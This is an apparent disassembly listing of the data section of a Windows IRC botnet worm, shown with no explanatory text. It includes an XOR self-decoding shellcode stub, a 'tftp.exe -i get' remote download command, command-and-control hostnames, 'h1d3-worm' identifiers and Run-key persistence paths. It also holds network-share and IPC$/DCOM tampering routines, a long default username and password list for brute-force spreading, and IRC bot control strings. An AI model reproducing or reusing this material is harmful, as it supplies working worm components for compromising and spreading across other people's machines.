db 20h
db 2, 0BBh, 2
aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0
align 4
off_41D8EC dd offset dword_41D924 ; DATA XREF: sub_4069FF:loc_406BB4r
; sub_4069FF+1C3r ...
dword_41D8F0 dd 0 ; DATA XREF: sub_406D25:loc_406EA6r
dd offset dword_41D91C
dd 0
dd offset dword_41D918
dd offset dword_41D914
dd offset dword_41D910
dd offset dword_41D90C
dword_41D90C dd 5C3A44h ; DATA XREF: .nsp0:0041D908o
dword_41D910 dd 2444h ; DATA XREF: .nsp0:0041D904o
dword_41D914 dd 5C3A43h ; DATA XREF: .nsp0:0041D900o
dword_41D918 dd 2443h ; DATA XREF: .nsp0:0041D8FCo
dword_41D91C dd 494D4441h, 244Eh ; DATA XREF: .nsp0:0041D8F4o
dword_41D924 dd 24435049h, 0 ; DATA XREF: .nsp0:off_41D8ECo
unk_41D92C db 1Fh ; DATA XREF: sub_4069FF+2E7o
; sub_406D25+2DDo
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aNetapi32_dllCo db 'Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
unk_41D960 db 1Fh ; DATA XREF: sub_4069FF+2D1o
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aNetworkSharesD db 'Network shares deleted.',0
unk_41D988 db 1Fh ; DATA XREF: sub_4069FF:loc_406C69o
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aFailedToDelete db 'Failed to delete ',27h,'%S',27h,' share.',0
align 4
unk_41D9B8 db 1Fh ; DATA XREF: sub_4069FF+263o
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aShareSDeleted_ db 'Share ',27h,'%S',27h,' deleted.',0
unk_41D9DC db 1Fh ; DATA XREF: sub_4069FF:loc_406BD9o
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aFailedToDele_0 db 'Failed to delete ',27h,'%s',27h,' share.',0
align 4
unk_41DA0C db 1Fh ; DATA XREF: sub_4069FF+1D3o
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aShareSDelete_0 db 'Share ',27h,'%s',27h,' deleted.',0
unk_41DA30 db 1Fh ; DATA XREF: sub_4069FF:loc_406B31o
; sub_406D25:loc_406E53o
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aAdvapi32_dllCo db 'Advapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_41DA64 db 1Fh ; DATA XREF: sub_4069FF:loc_406B2Ao
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aFailedToOpenIp db 'Failed to open IPC$ Restriction registry key.',0
align 4
unk_41DAA4 db 1Fh ; DATA XREF: sub_4069FF:loc_406B12o
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aRestrictedAcce db 'Restricted access to the IPC$ Share.',0
align 4
unk_41DADC db 1Fh ; DATA XREF: sub_4069FF+10Co
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aFailedToRestri db 'Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_4069FF+EDo
; sub_406D25+EDo
align 10h
unk_41DB30 db 1Fh ; DATA XREF: sub_4069FF+91o
; sub_406D25+91o
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aFailedToOpenDc db 'Failed to open DCOM registry key.',0
align 4
dword_41DB64 dd 273021Fh, 7563651Fh, 2206572h, 20BB02BBh, 4D4F4344h
; DATA XREF: sub_4069FF:loc_406A72o
dd 73696420h, 656C6261h, 2E64h
unk_41DB84 db 1Fh ; DATA XREF: sub_4069FF+6Co
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aDisableDcomFai db 'Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_4069FF+54o
; sub_406D25+54o
align 4
word_41DBB8 dw 4Eh ; DATA XREF: sub_4069FF+38r
align 4
unk_41DBBC db 1Fh ; DATA XREF: sub_406D25+2C5o
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aNetworkSharesA db 'Network shares added.',0
align 4
aC db '%c:\',0 ; DATA XREF: sub_406D25+22Fo
align 4
aC_0 db '%c$',0 ; DATA XREF: sub_406D25+21Eo
unk_41DBF0 db 1Fh ; DATA XREF: sub_406D25:loc_406ED2o
; sub_406D25:loc_406F9Do
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aFailedToAddSSh db 'Failed to add ',27h,'%s',27h,' share.',0
align 4
unk_41DC1C db 1Fh ; DATA XREF: sub_406D25+1A6o
; sub_406D25+271o
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aShareSAdded_ db 'Share ',27h,'%s',27h,' added.',0
align 10h
unk_41DC40 db 1Fh ; DATA XREF: sub_406D25:loc_406E4Co
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aFailedToOpen_0 db 'Failed to open IPC$ restriction registry key.',0
align 10h
unk_41DC80 db 1Fh ; DATA XREF: sub_406D25:loc_406E34o
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aUnrestrictedAc db 'Unrestricted access to the IPC$ Share.',0
align 4
unk_41DCB8 db 1Fh ; DATA XREF: sub_406D25+108o
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aFailedToUnrest db 'Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_41DCF8 dd 273021Fh, 7563651Fh, 2206572h, 20BB02BBh, 4D4F4344h
; DATA XREF: sub_406D25:loc_406D98o
dd 616E6520h, 64656C62h, 2Eh
unk_41DD18 db 1Fh ; DATA XREF: sub_406D25+6Co
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aEnableDcomFail db 'Enable DCOM failed.',0
word_41DD3C dw 59h ; DATA XREF: sub_406D25+38r
align 10h
jmp short loc_41DD44
; ---------------------------------------------------------------------------
loc_41DD42: ; CODE XREF: .nsp0:loc_41DD44p
jmp short loc_41DD49
; ---------------------------------------------------------------------------
loc_41DD44: ; CODE XREF: .nsp0:0041DD40j
call loc_41DD42
loc_41DD49: ; CODE XREF: .nsp0:loc_41DD42j
pop ebx
xor ecx, ecx
mov cx, 0FFFFh
loc_41DD50: ; CODE XREF: .nsp0:0041DD55j
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_41DD50
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cl, 0FFh
loc_41DD66: ; CODE XREF: .nsp0:0041DD6Bj
xor byte ptr [ebx+0Ch], 0FFh
inc ebx
loop loc_41DD66
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dd 12h
aTftp_exeIGet db 'tftp.exe -i get ',0
; ---------------------------------------------------------------------------
push 0
call sub_41DE08
jnz short loc_41DDF4
retn
; ---------------------------------------------------------------------------
loc_41DDF4: ; CODE XREF: .nsp0:0041DDF1j
; .nsp0:0041DE01j
call near ptr loc_41DDF9+1
loc_41DDF9: ; CODE XREF: .nsp0:loc_41DDF4p
add [edx+0], ch
call sub_41DE08
jz loc_41DDF4
retn
; =============== S U B R O U T I N E =======================================
sub_41DE08 proc near ; CODE XREF: .nsp0:0041DDECp
; .nsp0:0041DDFCp
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
sub_41DE08 endp
; ---------------------------------------------------------------------------
align 8
dword_41DE38 dd 0F51h ; DATA XREF: sub_407041+3A4r
; sub_407041+45Ar
dword_41DE3C dd 1B58h ; DATA XREF: sub_407041+4A4r
dword_41DE40 dd 1AF4h ; DATA XREF: sub_401141+3Ar
; sub_4077FD+314Fr
dword_41DE44 dd 1 ; DATA XREF: sub_4077FD+61Ar
dword_41DE48 dd 1 ; DATA XREF: sub_407041+142r
dword_41DE4C dd 1 ; DATA XREF: sub_40551B+Cr
; sub_407041:loc_407370r
byte_41DE50 db 2Eh ; DATA XREF: sub_4037CD:loc_4037D9r
; sub_4077FD+683r ...
align 4
dword_41DE54 dd 0Ah ; DATA XREF: sub_406441+2Br
; sub_406441+51r ...
dword_41DE58 dd 4 ; DATA XREF: sub_40752C+78r
; sub_4077FD+26Er ...
dword_41DE5C dd 1 ; DATA XREF: sub_40752C+72r
; sub_4077FD+268r
aNet1 db 'net1',0
align 4
db 2 dup(0)
byte_41DE6A db 1 ; DATA XREF: sub_4077FD:loc_40A5DCr
; sub_4077FD+2DE9o
aNet2 db 'net2',0
dd 0
dd 2D610100h, 3368h, 0
dd 1, 2 dup(0)
a3677 db '3677',0
align 4
aH1dd3n db 'h1dd3n',0
align 4
aH1d3Worm db 'h1d3-worm',0
align 4
aKtsFinal db 'KTS-Final',0 ; DATA XREF: sub_407041+62o
; sub_4077FD+24A3o ...
align 4
aHum db 'Hum',0 ; DATA XREF: sub_4077FD:loc_40B084o
aSock db 'sock',0 ; DATA XREF: sub_4077FD+39F2o
; sub_4077FD+3AB5o
align 10h
aPrv_blackroz_c db 'prv.blackroz.com',0 ; DATA XREF: sub_407041+399o
; sub_407041+44Fo
align 4
aPrv db '#prv#',0 ; DATA XREF: sub_407041+3B0o
; sub_407041+461o
align 4
aPr__ db 'pr..',0 ; DATA XREF: sub_407041+3C7o
; sub_407041+473o
align 4
byte_41DEE4 db 70h ; DATA XREF: sub_407041:loc_4074CBr
; sub_407041+499o
aRv_blackroz_co db 'rv.blackroz.com',0
align 4
aPrv_0 db '#prv#',0 ; DATA XREF: sub_407041+4ABo
align 10h
aPr___0 db 'pr..',0 ; DATA XREF: sub_407041+4BDo
align 4
byte_41DF08 db 76h ; DATA XREF: sub_401141+68o
; sub_401141+176o ...
db 6Bh, 74h, 61h
dd 74707477h, 78652E7Ah, 65h
aMicrosoftsSyst db 'Microsofts Systems Services',0 ; DATA XREF: sub_4031BC+Bo
aWw db 'Ww|',0 ; DATA XREF: sub_406441+12o
aEncrtpyles_xml db 'encrtpyles.xml',0
align 4
aXi db '+xi',0 ; DATA XREF: sub_4077FD+3B26o
aPrv_1 db '#prv##',0 ; DATA XREF: sub_4077FD:loc_40965Do
; sub_4077FD+2FACo ...
align 4
aPrv_2 db '#prv##',0
align 4
off_41DF5C dd offset a@ktw_com ; DATA XREF: sub_4077FD+3A55r
; "*@KTW.com"
off_41DF60 dd offset aEggdropV1_6_20 ; DATA XREF: sub_4077FD+7F9r
; "eggdrop v1.6.20"
dd offset aEggdropV1_6_17 ; "eggdrop v1.6.17"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: .nsp0:off_41BD2Co
align 4
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 10h
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_4069FF+28o
; sub_406D25+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_4069FF+D4o
; sub_406D25+D4o
align 10h
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
dd offset aLinux ; "linux"
dd 2 dup(0)
dd offset byte_4242F0
dd offset aAdmin ; "admin"
dd offset aAdmin_0 ; "ADMIN"
dd offset aAdmin_1 ; "Admin"
dd offset aAdmin123 ; "admin123"
dd offset aAdministrado_0 ; "Administrador"
dd offset aAdministrate_0 ; "Administrateur"
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aGuest_0 ; "guest"
dd offset aGuest ; "Guest"
dd offset aDefault ; "default"
dd offset aDefault_0 ; "DEFAULT"
dd offset aDefault_1 ; "Default"
; ---------------------------------------------------------------------------
test al, 0E2h
inc ecx
add [edx-1D6FFFBFh], bl
inc ecx
add [edx-1D83FFBFh], al
inc ecx
add [edx+41h], dh
add [edx+41h], ch
add al, dh
retn 41h
; ---------------------------------------------------------------------------
dd offset aUser_0 ; "User"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare ; "SHARE"
dd offset aWrite ; "WRITE"
; ---------------------------------------------------------------------------
cmp al, 0E2h
inc ecx
add [edx], dh
inc ecx
add [edx], ch
inc ecx
add [edx], ah
inc ecx
add [edx], bl
inc ecx
add [edx], dl
inc ecx
add [edx], cl
inc ecx
add al, dh
retn 41h
; ---------------------------------------------------------------------------
dd offset aBackup ; "BACKUP"
dd offset aSystem ; "SYSTEM"
dd offset aServer_0 ; "SERVER"
dd offset aLocal ; "LOCAL"
dd offset asc_41E1F8 ; "%"
dd offset aPass_0 ; "pass"
dd offset aPasswd ; "passwd"
dd offset aDatabase ; "database"
dd offset aAbcd ; "abcd"
dd offset aAbc123 ; "abc123"
dd offset asc_41E1D4 ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset dword_41A924
dd offset a00 ; "00"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
align 10h
dword_41E170 dd 10h ; DATA XREF: sub_40304D+72w
; sub_4077FD+6E7r ...
a000000 db '000000',0 ; DATA XREF: .nsp0:0041E168o
align 4
a00000 db '00000',0 ; DATA XREF: .nsp0:0041E164o
align 4
a0000 db '0000',0 ; DATA XREF: .nsp0:0041E160o
align 4
a000 db '000',0 ; DATA XREF: .nsp0:0041E15Co
a00 db '00',0 ; DATA XREF: .nsp0:0041E158o
align 4
aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:0041E150o
align 10h
aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .nsp0:0041E14Co
align 4
aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .nsp0:0041E148o
aXxxxxx db 'xxxxxx',0 ; DATA XREF: .nsp0:0041E144o
align 4
aXxxxx db 'xxxxx',0 ; DATA XREF: .nsp0:0041E140o
align 4
aXxxx db 'xxxx',0 ; DATA XREF: .nsp0:0041E13Co
align 4
aXxx db 'xxx',0 ; DATA XREF: .nsp0:0041E138o
aXx db 'xx',0 ; DATA XREF: .nsp0:0041E134o
align 4
asc_41E1D4: ; DATA XREF: .nsp0:0041E130o
unicode 0, <x>,0
aAbc123 db 'abc123',0 ; DATA XREF: .nsp0:0041E12Co
align 10h
aAbcd db 'abcd',0 ; DATA XREF: .nsp0:0041E128o
align 4
aPasswd db 'passwd',0 ; DATA XREF: .nsp0:0041E120o
align 10h
aPass_0 db 'pass',0 ; DATA XREF: .nsp0:0041E11Co
align 4
asc_41E1F8: ; DATA XREF: .nsp0:0041E118o
unicode 0, <%>,0
aServer_0 db 'SERVER',0 ; DATA XREF: .nsp0:0041E110o
align 4
aBackup db 'BACKUP',0 ; DATA XREF: .nsp0:0041E108o
align 4
aAccess db 'ACCESS',0
align 4
aTest db 'TEST',0
align 4
aDemo db 'DEMO',0
align 4
aFiles db 'FILES',0
align 4
aRead db 'READ',0
align 4
aBoth db 'BOTH',0
align 4
aFull_0 db 'FULL',0
align 4
aWrite db 'WRITE',0 ; DATA XREF: .nsp0:0041E0E4o
align 4
aShare db 'SHARE',0 ; DATA XREF: .nsp0:0041E0E0o
align 4
aTemp db 'TEMP',0 ; DATA XREF: .nsp0:0041E0DCo
align 4
aRoot_0 db 'ROOT',0 ; DATA XREF: .nsp0:0041E0D0o
align 4
aGuest_1 db 'GUEST',0 ; DATA XREF: .nsp0:0041E0CCo
align 4
aUser_1 db 'user',0
align 4
aSystem db 'SYSTEM',0 ; DATA XREF: .nsp0:0041E10Co
align 4
aSystem_0 db 'system',0
align 4
aPassword_0 db 'Password',0
align 10h
aPassword db 'PASSWORD',0 ; DATA XREF: .nsp0:0041E0D8o
align 4
aPassword_1 db 'password',0
align 4
aLocal db 'LOCAL',0 ; DATA XREF: .nsp0:0041E114o
align 10h
aDefault_1 db 'Default',0 ; DATA XREF: .nsp0:0041E0A4o
aDefault_0 db 'DEFAULT',0 ; DATA XREF: .nsp0:0041E0A0o
aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: .nsp0:0041E088o
align 10h
aAdministrate_0 db 'Administrateur',0 ; DATA XREF: .nsp0:0041E080o
align 10h
aAdministrado_0 db 'Administrador',0 ; DATA XREF: .nsp0:0041E07Co
align 10h
aAdmin123 db 'admin123',0 ; DATA XREF: .nsp0:0041E078o
align 4
aAdmin_1 db 'Admin',0 ; DATA XREF: .nsp0:0041E074o
align 4
aAdmin_0 db 'ADMIN',0 ; DATA XREF: .nsp0:0041E070o
; .nsp0:0041E0D4o
align 4
aLinux db 'linux',0 ; DATA XREF: .nsp0:0041E05Co
align 4
aDb2 db 'db2',0 ; DATA XREF: .nsp0:0041E058o
aOracle db 'oracle',0 ; DATA XREF: .nsp0:0041E054o
align 10h
aDba db 'dba',0 ; DATA XREF: .nsp0:0041E050o
aDatabase db 'database',0 ; DATA XREF: .nsp0:0041E04Co
; .nsp0:0041E124o
align 10h
aDefault db 'default',0 ; DATA XREF: .nsp0:0041E048o
; .nsp0:0041E09Co
aGuest_0 db 'guest',0 ; DATA XREF: .nsp0:0041E044o
; .nsp0:0041E094o
align 10h
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .nsp0:0041E040o
align 4
aTeacher db 'teacher',0 ; DATA XREF: .nsp0:0041E03Co
aStudent db 'student',0 ; DATA XREF: .nsp0:0041E038o
aOwner db 'owner',0 ; DATA XREF: .nsp0:0041E034o
align 4
aComputer db 'computer',0 ; DATA XREF: .nsp0:0041E030o
align 10h
aRoot db 'root',0 ; DATA XREF: .nsp0:0041E02Co
align 4
aStaff db 'staff',0 ; DATA XREF: .nsp0:0041E028o
align 10h
aAdmin db 'admin',0 ; DATA XREF: .nsp0:0041E024o
; .nsp0:0041E06Co
align 4
aAdmins db 'admins',0 ; DATA XREF: .nsp0:0041E020o
align 10h
aAdministrat db 'administrat',0 ; DATA XREF: .nsp0:0041E01Co
aAdministrateur db 'administrateur',0 ; DATA XREF: .nsp0:0041E018o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .nsp0:0041E014o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: .nsp0:0041E010o
; .nsp0:0041E084o ...
align 4
aEggdropV1_6_17 db 'eggdrop v1.6.17',0 ; DATA XREF: .nsp0:0041DF64o
aEggdropV1_6_20 db 'eggdrop v1.6.20',0 ; DATA XREF: .nsp0:off_41DF60o
a@ktw_com db '*@KTW.com',0 ; DATA XREF: .nsp0:off_41DF5Co
align 4
aSDS db '%s %d "%s"',0 ; DATA XREF: sub_407041+27Do
align 4
aSS_2 db '%s\%s',0 ; DATA XREF: sub_407041+195o
align 4
aSS_3 db '%s%s',0 ; DATA XREF: sub_407041+112o
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_407681+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 10h
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_407681+35o
align 4
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+3B2Eo
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+3B19o
align 4
unk_41E45C db 1Fh ; DATA XREF: sub_4077FD+3AFBo
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aPasswordAccept db ' Password accepted.',0
align 10h
unk_41E480 db 1Fh ; DATA XREF: sub_4077FD+3AA2o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0
align 10h
unk_41E4B0 db 1Fh ; DATA XREF: sub_4077FD+3A35o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0
align 10h
aNoticeSFailed_ db 'NOTICE %s :FAILED.',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+3A26o
; sub_4077FD+3A93o
align 4
aNoticeSFailedS db 'NOTICE %s :FAILED (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+3A12o
; sub_4077FD+3A7Fo
align 4
asc_41E518: ; DATA XREF: sub_4077FD+39E2o
unicode 0, <~>,0
unk_41E51C db 1Fh ; DATA XREF: sub_4077FD+38E8o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aInvalidLoginSl db ' Invalid login slot number: %d.',0
align 4
unk_41E54C db 1Fh ; DATA XREF: sub_4077FD+38E0o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aNoUserLoggedIn db ' No user logged in at slot: %d.',0
align 4
dword_41E57C dd 26D021Fh, 6E69611Fh, 2BB0220h, 732520BBh, 0 ; DATA XREF: sub_4077FD+388Co
unk_41E590 db 1Fh ; DATA XREF: sub_4077FD+385Fo
db 2, 73h, 2
db 1Fh
db 65h, 63h, 75h
db 72h ; r
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aFailedToStar_1 db 'Failed to start secure thread, error: <%d>.',0
dword_41E5CC dd 273021Fh, 7563651Fh, 2206572h, 20BB02BBh, 73207325h
; DATA XREF: sub_4077FD+37F5o
dd 65747379h, 2E6Dh
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_4077FD+37EFo
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_4077FD+37E8o
align 10h
aProc db 'PROC ',0 ; DATA XREF: sub_4077FD+375Ao
align 4
aProcessList db 'Process list',0 ; DATA XREF: sub_4077FD+3755o
align 4
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4077FD:loc_40AF1Ao
align 10h
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4077FD:loc_40AF03o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_4077FD:loc_40AEECo
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+36DDo
align 4
unk_41E664 db 1Fh ; DATA XREF: sub_4077FD+3691o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0
align 4
dword_41E694 dd 26D021Fh, 6E69611Fh, 2BB0220h, 6F4220BBh, 44492074h
; DATA XREF: sub_4077FD+3653o
dd 7325203Ah, 2Eh
dword_41E6B0 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_4077FD+3620o
aFailedToStartL db ' Failed to start list thread, error: <%d>.',0
align 4
dword_41E6EC dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h, 73694C20h
; DATA XREF: sub_4077FD+35C1o
dd 68742074h, 64616572h, 2E73h
dword_41E70C dd 627573h ; DATA XREF: sub_4077FD+359Bo
dword_41E710 dd 26D021Fh, 6E69611Fh, 2BB0220h, 655220BBh, 69766F6Dh
; DATA XREF: sub_4077FD+34CDo
dd 4220676Eh, 2E746Fh
unk_41E72C db 1Fh ; DATA XREF: sub_4077FD+3492o
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aFailedToStar_2 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_41E768 dd 270021Fh, 636F721Fh, 2BB0220h, 725020BBh, 6563636Fh
; DATA XREF: sub_4077FD+3433o
dd 6C207373h, 2E747369h, 0
aFull db 'full',0 ; DATA XREF: sub_4077FD+3413o
align 10h
unk_41E790 db 1Fh ; DATA XREF: sub_4077FD+33C2o
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aAlreadyRunning db ' Already running.',0
align 10h
dword_41E7B0 dd 26D021Fh, 6E69611Fh, 2BB0220h, 705520BBh, 656D6974h
; DATA XREF: sub_4077FD+3371o
dd 7325203Ah, 2Eh
dword_41E7CC dd 26D021Fh, 6E69611Fh, 2BB0220h, 654720BBh, 6C432074h
; DATA XREF: sub_4077FD+32F0o
dd 6F627069h, 2E647261h, 0
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_4077FD+32C2o
align 10h
aFlushdnsFail_1 db '[FLUSHDNS]: Failed to flush ARP cache.',0
; DATA XREF: sub_4077FD:loc_40AAAFo
align 4
aFlushdnsArpC_0 db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: sub_4077FD+329Do
align 4
aFlushdnsFail_0 db '[FLUSHDNS]: Failed to load dnsapi.dll.',0
; DATA XREF: sub_4077FD:loc_40AA7Eo
align 10h
aFlushdnsFailed db '[FLUSHDNS]: Failed to flush DNS cache.',0
; DATA XREF: sub_4077FD:loc_40AA77o
align 4
aFlushdnsDnsCac db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: sub_4077FD+3273o
align 4
unk_41E8B8 db 1Fh ; DATA XREF: sub_4077FD+3202o
db 2, 74h, 2
db 1Fh
db 66h, 74h, 70h
db 20h
db 2, 0BBh, 2
aFailedToStar_3 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_41E8F4 db 1Fh ; DATA XREF: sub_4077FD+30F8o
db 2, 74h, 2
db 1Fh
db 66h, 74h, 70h
db 20h
db 2, 0BBh, 2
aAlreadyRunni_0 db ' Already running.',0
align 4
dword_41E914 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h
; DATA XREF: sub_4077FD:loc_40A543o
aFailedToKillTh db ' Failed to kill thread: %s.',0
dword_41E940 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_4077FD+2D3Fo
aKilledThreadS_ db ' Killed thread: %s.',0
dword_41E964 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h
; DATA XREF: sub_4077FD:loc_40A4F4o
aNoActiveThread db ' No active threads found.',0
align 10h
dword_41E990 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_4077FD+2CEDo
aStoppedDThread db ' Stopped: %d thread(s).',0
aAll db 'all',0 ; DATA XREF: sub_4077FD+2CD3o
unk_41E9BC db 1Fh ; DATA XREF: sub_4077FD+2CC6o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0
align 4
